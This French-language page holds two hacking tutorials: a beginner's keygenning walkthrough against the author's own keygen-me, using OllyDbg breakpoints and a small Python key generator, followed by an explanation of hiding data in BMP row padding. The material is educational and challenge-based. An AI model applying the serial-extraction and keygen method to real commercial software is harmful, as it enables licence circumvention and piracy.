premiers tutoriels sur le reversing pour n-pn, j’ai décidé d’en rédiger
un sur le keygening.
En quoi consiste un Keygen ?
Je vois sur de plus en plus de forums/sites
de h4xx0r de la morkitu, des programmes qu'ils créent, croyant faire des
keygens, en programmant simplement une fenêtre assez jolie renvoyant un
serial valide pour une application, pris au hasard dans une liste de
serials dans leur programme.
Grosse erreur, le keygening ne consiste pas à
répertorier des clés valides pour les redonner à l'utilisateur (on a
inventé les fichiers texte pour ça :p ).
Cela consiste à comprendre le fonctionnement d'un
programme en fonction de son code (le plus souvent en assembleur) afin
de produire un programme permettant de générer une clé valide en
fonction d'une information propre à chaque utilisateur .
Ici, nous allons étudier le fonctionnement d'un
keygen-me de n-pn (que j'ai moi même codé). Je tiens à préciser que le
but n'est pas de donner la réponse toute faite, mais plutôt d'expliquer
aux débutants comment procéder.
Désassemblage
Bien, tout d'abord, essayons notre keygen me, on
le lance, il nous demande un login, je rentre "fr0g" par habitude, étant
donné que c'est mon pseudo, ensuite, le programme me demande de rentrer
la clé correspondant au login "fr0g",
je tape n'importe quoi, évidemment un message d'erreur apparaît , à moins d'avoir une chance vraiment peu commune.
Ouvrons l’exécutable avec ollydbg, un clic droit sur le cadre en haut à gauche, et search for > all referenced Strings
On le voit dans le code c++ montré plus haut , la
string "tropsimple" est un piège afin d'attirer l'attention d'un
éventuel reverser, ce n'est en aucun cas une chaine intervenant dans
l'algorithme générant la clé, je ne m'attarderai donc pas dessus, il n'y
a rien de plus à dire.
Mais juste au dessus, on peut remarquer la chaine
"ysae_os", on la note dans un coin au cas où (à ce moment-là nous ne
sommes pas censé savoir si elle va nous servir ou pas .
Un peu plus bas on peut voir "Sorry, try" qui est
le début de "Sorry, Try again boy :p", le message d'erreur que le
keygen-me nous à affiché plus tôt.
On double clique sur cette chaine, et on se retrouve dans le code ASM du programme :
Partons à la pêche
Allez, on se lance, plaçons un BreakPoint (touche F2) sur l'instruction :
00401b85 CALL 00442EEC
et on appuie sur F9 pour lancer l’exécution du
programme, on entre notre login ( pour mon cas c'est toujours "fr0g"),
le programme continue sa route, en nous demandant
d'entrer cette fois, la clé correspondante au login que l'on a tapé
juste avant,
pour cette fois, je vais rentrer une dizaine de "A" ,
et là ... notre programme va breaker .
Observons bien le cadre d'en bas à droite (le cadre affichant la pile ):
Je pense que vous avez tous compris, le "fr0g"
correspond au login que j'ai entré, le "AAAAAAAAAA" correspond , lui, au
serial que j'avais entré, et le "4fr0gso_easy" est notre serial, nous
pouvons l'essayer .
Boom !!! on vient d'avancer d'un pas, on à trouvé
la clé correspondant au login "fr0g", dans certains cas les algorithmes
sont forts compliqués (contrairement à ces quelques crackMe pour
débutants ^^ ), ici il n'y a nullement besoin d'analyser le code pour
comprendre, décomposons notre clé :
4 fr0g so_easy
Il suffit d'entrer un ou deux autres logins pour
comprendre que le nombre en début de clé, correspond à la longueur du
login entré par l'utilisateur (en nombre de caractères), quant à la
chaîne "so_easy", on se doute bien que c'est la chaîne "ysae_os" aperçue
plus tôt dans les Referenced strings qui à été renversée.
NOTE :
Evidemment dans un cas réel, il est toujours préférable (pour ne pas dire indispensable) d'analyser le code pour comprendre en détails les étapes de la ou des fonction(s) générant la ou les clés valides, rien ne nous dit qu'au dessus d'un certain nombre de caractères dans le login, la clé se génère toujours de la même façon ...
Bon pour terminer ça on va coder un petit KeyGen
afin de générer des clés valides pour ce keygenMe, pour cela je vais
utiliser Python (3.2).
#!/usr/bin/env python3.2
# -*- coding: latin-1 -*-
##################################
# Author : fr0g
# WebSite : hwc-crew.com // n-pn.info
# Language : Python 3.2
#
# Name : keyGen Example
##################################
#Début de la fonction keygen()
def keygen(_login):
# Déclaration de la variable contenant "so_easy"
login_ext = "so_easy"
# Calcul du nombre de caractères dans le login
# Et stockage de ce nombre dans la variable login_len
login_len = str(len(_login))
# Concaténation des différentes parties de la clé
valid_key = login_len + _login + login_ext
# Renvoi de la clé valide
return valid_key
# Appel de la fonction keygen() sur le login entré par l'utilisateur
print (keygen(str(input("Login > "))))
Petit essai :
Login > AAAAAAAAAA
10AAAAAAAAAAso_easy
Nikel ;) .
Voilà, j'espère que ce mini tuto aura appris aux
plus novices en quoi consiste un keygen, si vous désirez apporter des
améliorations à cet article, libre à vous de mes les soumettre par mail à
fr0g <at> hwc-crew.com ou sur le forum N-PN.info.
Cordialement, la grenouille ...
# Author : fr0g
# OS : windows
# Tools : ollydbg, (Python 3.2 pour le keygen)
> Le padding BMP
Auteur: Luxerails
0x01 - Qu‘est-ce que le padding BMP ?
Pour cacher de l‘information dans une image au
format bmp, on peut utiliser le padding bmp. Tout d‘abord, voyons
comment un bmp est construit (ouvrez par exemple une image bmp avec un
éditeur de texte ou un éditeur hexadécimal).
BM : Header du bmp. Permet de reconnaitre le
format du fichier (chaque format en a un: par exemple, le format PNG
commence toujours par ‰PNG)
Les "..." représentent plusieurs informations
concernant l‘image, notamment sa longueur, ses dimensions, le système
d‘exploitation sous lequel elle a été crée... Ce ne sera d‘aucune
utilité pour notre tuto.
image: L‘image, débutant à l‘octet 54.
L‘image est codée de la façon suivante :
bvr.bvr.bvr.bvr. ...où r, v et b sont les 3 composantes d‘un pixel
(rouge, vert et bleu), et où le . est un octet reservé (inutilisé, et
généralement nul).
À noter que l‘octet reservé apparait que dans un
bmp 32 bits, vu que 32 bits = 4 octets, donc 3 rvb et 1 inutile. Dans
les bmp 24 bits, il n‘y a pas d‘octet reservé, donc un pixel = 3 octets.
Il faut donc savoir que les composantes sont notées à l‘envers (bvr au
lieu de rvb).
Il faut aussi savoir que le bmp écrit les pixels
en partant du bas-gauche de l‘image, et en allant de gauche a droite, en
remontant l‘image de bas en haut.
Par exemple, pour une image :
abc def ghi
jkl mno pqr
stu vwx yz0 (où 3 lettres = un pixel, c‘est donc une image de taille 3px sur 3px)
Le bmp l‘écrira de cette façon :
uts xwv 0zy lkj onm rqp cba fed ihg
(Pour plus de clarté, j‘ai laissé les espaces, mais
il n‘y a pas d‘espaces dans le bmp). Bon, c‘est bien beau mais... le
padding bmp dans tout ça ?!
Le problème dans un bmp, c‘est que il faut
absolument qu‘une ligne dans un bmp soit multiple de quatre. Par
exemple, dans notre exemple de tout à l‘heure :
utsxwv0zylkjonmrqpcbafedihg
Une ligne = 9 octets [=3 pixels], ce qui donne
utsxwv0zy
lkjonmrqp
cbafedihg
Or 9 n‘est pas un multiple de quatre ! Il va donc
falloir rajouter des caractères afin que la "ligne" soit multiple de
quatre. Ainsi, a chaque ligne, nous allons rajouter 3 octets nuls pour
qu‘une ligne fasse douze caractères et douze est un multiple de quatre.
On se retrouve donc avec :
utsxwv0zy...
lkjonmrqp...
cbafedihg...
Soit
utsxwv0zy...lkjonmrqp...cbafedihg...
dans notre bmp.
(les . représentent des octets nuls)
Seulement, qui nous empêche de mettre autre chose que des octets nuls ? Je peux très bien mettre :
utsxwv0zymsglkjonmrqpcaccbafedihghé!
Pour extraire le message caché, je regarde la
longueur de l‘image qui est de neuf, le multiple de quatre qu‘il y a
juste après est douze, donc je coupe tout les douze octets :
utsxwv0zymsg
lkjonmrqpcac
cbafedihghé!
Et je lis les 3 derniers octets de chaque ligne.
0x02 - Avantages et inconvénients
Les avantages de cette technique sont que la
taille du fichier n‘est pas modifié, et que l‘image n‘a pas a été
modifiée non plus (vu que la stéganographie ne se fait pas dans l‘image,
mais dans la structure du bmp).
L‘inconvénient de cette technique est que
l‘information cachée est en clair dans le bmp, et ainsi, par exemple, si
l‘on cache un GIF dans du padding bmp, en sachant que les trois
premières lettres d‘un fichier gif sont... "GIF", on peut peut-être voir
le mot GIF en clair dans le fichier si la taille du padding d‘une ligne
est de trois.
0x03 - Exemple
Essayez de trouver le message caché dans cette image...